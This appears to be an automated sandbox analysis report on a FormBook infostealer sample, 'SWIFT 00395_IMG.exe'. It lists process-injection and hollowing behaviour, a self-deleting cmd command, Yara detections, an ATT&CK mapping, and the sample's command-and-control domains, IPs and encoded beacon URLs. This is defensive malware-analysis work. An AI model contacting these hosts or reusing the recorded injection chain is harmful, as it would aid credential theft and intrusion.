          Source: C:\Windows\explorer.exeNetwork Connect: 180.150.102.39 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.crickescore.com
          Source: C:\Windows\explorer.exeNetwork Connect: 184.168.131.241 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.puzed.net
          Source: C:\Windows\explorer.exeDomain query: www.theboundless.life
          Source: C:\Windows\explorer.exeDomain query: www.thebestcoffeeshops.com
          Source: C:\Windows\explorer.exeDomain query: www.1800quilts.com
          Source: C:\Windows\explorer.exeDomain query: www.xiangyuwenhua.com
          Source: C:\Windows\explorer.exeNetwork Connect: 45.192.92.174 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.carboncuriosity.com
          Source: C:\Windows\explorer.exeNetwork Connect: 103.20.212.182 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.szzyhjj.com
          Source: C:\Windows\explorer.exeNetwork Connect: 80.237.133.185 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 34.102.136.180 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 85.233.160.23 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 60.205.226.138 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.amwajcare.com
          Source: C:\Windows\explorer.exeDomain query: www.makeoverfurn.com
          Maps a DLL or memory area into another processShow sources
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeSection loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)Show sources
          Source: C:\Windows\SysWOW64\svchost.exeThread register set: target process: 3424Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeThread register set: target process: 3424Jump to behavior
          Queues an APC in another process (thread injection)Show sources
          Source: C:\Windows\SysWOW64\svchost.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing techniqueShow sources
          Source: C:\Windows\SysWOW64\svchost.exeSection unmapped: C:\Windows\SysWOW64\msdt.exe base address: B00000Jump to behavior
          Writes to foreign memory regionsShow sources
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2EE7008Jump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeProcess created: C:\Windows\SysWOW64\svchost.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe' Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\SysWOW64\svchost.exe'Jump to behavior
          Source: explorer.exe, 00000004.00000002.917780471.0000000000AD8000.00000004.00000020.sdmpBinary or memory string: ProgmanMD6
          Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmpBinary or memory string: Program Manager
          Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 00000004.00000000.691742303.000000000A716000.00000004.00000001.sdmpBinary or memory string: Shell_TrayWnd5D
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403461

          Stealing of Sensitive Information:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE

          Remote Access Functionality:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid AccountsShared Modules1Path InterceptionAccess Token Manipulation1Virtualization/Sandbox Evasion3OS Credential DumpingSecurity Software Discovery131Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationSystem Shutdown/Reboot1
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsProcess Injection612Access Token Manipulation1LSASS MemoryVirtualization/Sandbox Evasion3Remote Desktop ProtocolClipboard Data1Exfiltration Over BluetoothIngress Tool Transfer3Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection612Security Account ManagerProcess Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol3Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Deobfuscate/Decode Files or Information1NTDSRemote System Discovery1Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol13SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information3LSA SecretsFile and Directory Discovery3SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.commonSoftware Packing1Cached Domain CredentialsSystem Information Discovery13VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 403611 Sample: SWIFT 00395_IMG.exe Startdate: 04/05/2021 Architecture: WINDOWS Score: 100 31 www.boxj66.com 2->31 33 boxj66.com 2->33 41 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->41 43 Found malware configuration 2->43 45 Malicious sample detected (through community Yara rule) 2->45 47 4 other signatures 2->47 11 SWIFT 00395_IMG.exe 19 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\Local\...\3bypcf8qb.dll, PE32 11->29 dropped 57 Writes to foreign memory regions 11->57 59 Maps a DLL or memory area into another process 11->59 15 svchost.exe 11->15         started        signatures6 process7 signatures8 61 Modifies the context of a thread in another process (thread injection) 15->61 63 Maps a DLL or memory area into another process 15->63 65 Sample uses process hollowing technique 15->65 67 2 other signatures 15->67 18 explorer.exe 15->18 injected process9 dnsIp10 35 www.puzed.net 180.150.102.39, 49756, 80 WIDEBAND-AS-APAussieBroadbandAU Australia 18->35 37 crickescore.com 103.20.212.182, 49761, 80 NETMAGIC-APNetmagicDatacenterMumbaiIN India 18->37 39 20 other IPs or domains 18->39 49 System process connects to network (likely due to code injection or exploit) 18->49 22 msdt.exe 18->22         started        signatures11 process12 signatures13 51 Modifies the context of a thread in another process (thread injection) 22->51 53 Maps a DLL or memory area into another process 22->53 55 Tries to detect virtualization through RDTSC time measurements 22->55 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          SWIFT 00395_IMG.exe100%Joe Sandbox ML

          Dropped Files

          No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          1.2.svchost.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
          0.2.SWIFT 00395_IMG.exe.3040000.4.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
          0.0.SWIFT 00395_IMG.exe.400000.0.unpack100%AviraHEUR/AGEN.1130366Download File
          0.2.SWIFT 00395_IMG.exe.400000.0.unpack100%AviraHEUR/AGEN.1130366Download File

          Domains

          SourceDetectionScannerLabelLink
          boxj66.com0%VirustotalBrowse

          URLs

          SourceDetectionScannerLabelLink
          www.seroungift.com/bbqo/0%Avira URL Cloudsafe
          http://www.1800quilts.com/bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz80%Avira URL Cloudsafe
          http://www.seroungift.com/bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz80%Avira URL Cloudsafe
          http://www.xiangyuwenhua.com/bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi0%Avira URL Cloudsafe
          http://www.thebestcoffeeshops.com/bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP0%Avira URL Cloudsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.crickescore.com/bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz80%Avira URL Cloudsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.makeoverfurn.com/bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz80%Avira URL Cloudsafe
          http://www.theboundless.life/bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx0%Avira URL Cloudsafe
          http://www.carboncuriosity.com/bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK0%Avira URL Cloudsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.%s.comPA0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.szzyhjj.com/bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz80%Avira URL Cloudsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.puzed.net/bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          crickescore.com
          103.20.212.182
          truetrue
            unknown
            dns.sxl.cn
            60.205.226.138
            truefalse
              high
              www.seroungift.com
              3.34.109.201
              truetrue
                unknown
                boxj66.com
                212.95.146.158
                truetrueunknown
                theboundless.life
                184.168.131.241
                truetrue
                  unknown
                  szzyhjj.com
                  45.192.92.174
                  truetrue
                    unknown
                    1800quilts.com
                    34.102.136.180
                    truefalse
                      unknown
                      fwd3.hosts.co.uk
                      85.233.160.23
                      truetrue
                        unknown
                        northernbackflow.com
                        34.102.136.180
                        truefalse
                          unknown
                          carboncuriosity.com
                          34.102.136.180
                          truefalse
                            unknown
                            www.puzed.net
                            180.150.102.39
                            truetrue
                              unknown
                              www.makeoverfurn.com
                              80.237.133.185
                              truetrue
                                unknown
                                www.northernbackflow.com
                                unknown
                                unknowntrue
                                  unknown
                                  www.centerplans.com
                                  unknown
                                  unknowntrue
                                    unknown
                                    www.boxj66.com
                                    unknown
                                    unknowntrue
                                      unknown
                                      www.crickescore.com
                                      unknown
                                      unknowntrue
                                        unknown
                                        www.theboundless.life
                                        unknown
                                        unknowntrue
                                          unknown
                                          www.thebestcoffeeshops.com
                                          unknown
                                          unknowntrue
                                            unknown
                                            www.1800quilts.com
                                            unknown
                                            unknowntrue
                                              unknown
                                              www.xiangyuwenhua.com
                                              unknown
                                              unknowntrue
                                                unknown
                                                www.carboncuriosity.com
                                                unknown
                                                unknowntrue
                                                  unknown
                                                  www.szzyhjj.com
                                                  unknown
                                                  unknowntrue
                                                    unknown
                                                    www.amwajcare.com
                                                    unknown
                                                    unknowntrue
                                                      unknown

                                                      Contacted URLs

                                                      NameMaliciousAntivirus DetectionReputation
                                                      www.seroungift.com/bbqo/true
                                                      • Avira URL Cloud: safe
                                                      low
                                                      http://www.1800quilts.com/bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8false
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.seroungift.com/bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8true
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.xiangyuwenhua.com/bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPitrue
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.thebestcoffeeshops.com/bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tPtrue
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.crickescore.com/bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8true
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.makeoverfurn.com/bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8true
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.theboundless.life/bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNxtrue
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.carboncuriosity.com/bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJKfalse
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.szzyhjj.com/bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8true
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.puzed.net/bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuLtrue
                                                      • Avira URL Cloud: safe
                                                      unknown

                                                      URLs from Memory and Binaries

                                                      NameSourceMaliciousAntivirus DetectionReputation
                                                      http://www.apache.org/licenses/LICENSE-2.0explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                        high
                                                        http://www.fontbureau.comexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                          high
                                                          http://www.fontbureau.com/designersGexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                            high
                                                            http://www.fontbureau.com/designers/?explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                              high
                                                              http://www.founder.com.cn/cn/bTheexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              http://www.fontbureau.com/designers?explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                high
                                                                http://www.tiro.comexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                http://www.fontbureau.com/designersexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                  high
                                                                  http://nsis.sf.net/NSIS_ErrorErrorSWIFT 00395_IMG.exefalse
                                                                    high
                                                                    http://www.goodfont.co.krexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://cdnjs.cloudflare.com/ajax/libs/json3/3.3.2/json3.min.jsmsdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmpfalse
                                                                      high
                                                                      http://www.carterandcone.comlexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      http://www.sajatypeworks.comexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      http://www.typography.netDexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      http://www.fontbureau.com/designers/cabarga.htmlNexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                        high
                                                                        http://www.founder.com.cn/cn/cTheexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        http://www.galapagosdesign.com/staff/dennis.htmexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        http://fontfabrik.comexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        http://www.founder.com.cn/cnexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        http://www.fontbureau.com/designers/frere-user.htmlexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                          high
                                                                          http://nsis.sf.net/NSIS_ErrorSWIFT 00395_IMG.exefalse
                                                                            high
                                                                            http://www.jiyu-kobo.co.jp/explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            unknown
                                                                            https://cdnjs.cloudflare.com/ajax/libs/jQuery.serializeObject/2.0.3/jquery.serializeObject.min.jsmsdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmpfalse
                                                                              high
                                                                              http://www.galapagosdesign.com/DPleaseexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              unknown
                                                                              http://www.fontbureau.com/designers8explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                                high
                                                                                http://www.%s.comPAexplorer.exe, 00000004.00000002.919974024.0000000002B50000.00000002.00000001.sdmpfalse
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                low
                                                                                http://www.fonts.comexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                                  high
                                                                                  http://www.sandoll.co.krexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  unknown
                                                                                  http://www.urwpp.deDPleaseexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  unknown
                                                                                  http://www.zhongyicts.com.cnexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  unknown
                                                                                  http://www.sakkal.comexplorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  unknown

                                                                                  Contacted IPs

                                                                                  • No. of IPs < 25%
                                                                                  • 25% < No. of IPs < 50%
                                                                                  • 50% < No. of IPs < 75%
                                                                                  • 75% < No. of IPs

                                                                                  Public

                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                  3.34.109.201
                                                                                  www.seroungift.comUnited States
                                                                                  16509AMAZON-02UStrue
                                                                                  45.192.92.174
                                                                                  szzyhjj.comSeychelles
                                                                                  134548DXTL-HKDXTLTseungKwanOServiceHKtrue
                                                                                  103.20.212.182
                                                                                  crickescore.comIndia
                                                                                  17439NETMAGIC-APNetmagicDatacenterMumbaiINtrue
                                                                                  180.150.102.39
                                                                                  www.puzed.netAustralia
                                                                                  4764WIDEBAND-AS-APAussieBroadbandAUtrue
                                                                                  80.237.133.185
                                                                                  www.makeoverfurn.comGermany
                                                                                  35329GD-EMEA-DC-CGN3DEtrue
                                                                                  34.102.136.180
                                                                                  1800quilts.comUnited States
                                                                                  15169GOOGLEUSfalse
                                                                                  85.233.160.23
                                                                                  fwd3.hosts.co.ukUnited Kingdom
                                                                                  8622ISIONUKNamescoLimitedGBtrue
                                                                                  184.168.131.241
                                                                                  theboundless.lifeUnited States
                                                                                  26496AS-26496-GO-DADDY-COM-LLCUStrue
                                                                                  60.205.226.138
                                                                                  dns.sxl.cnChina
                                                                                  37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdfalse

                                                                                  General Information

                                                                                  Joe Sandbox Version:32.0.0 Black Diamond
                                                                                  Analysis ID:403611
                                                                                  Start date:04.05.2021
                                                                                  Start time:08:52:50
                                                                                  Joe Sandbox Product:CloudBasic
                                                                                  Overall analysis duration:0h 10m 48s
                                                                                  Hypervisor based Inspection enabled:false
                                                                                  Report type:full
                                                                                  Sample file name:SWIFT 00395_IMG.exe
                                                                                  Cookbook file name:default.jbs
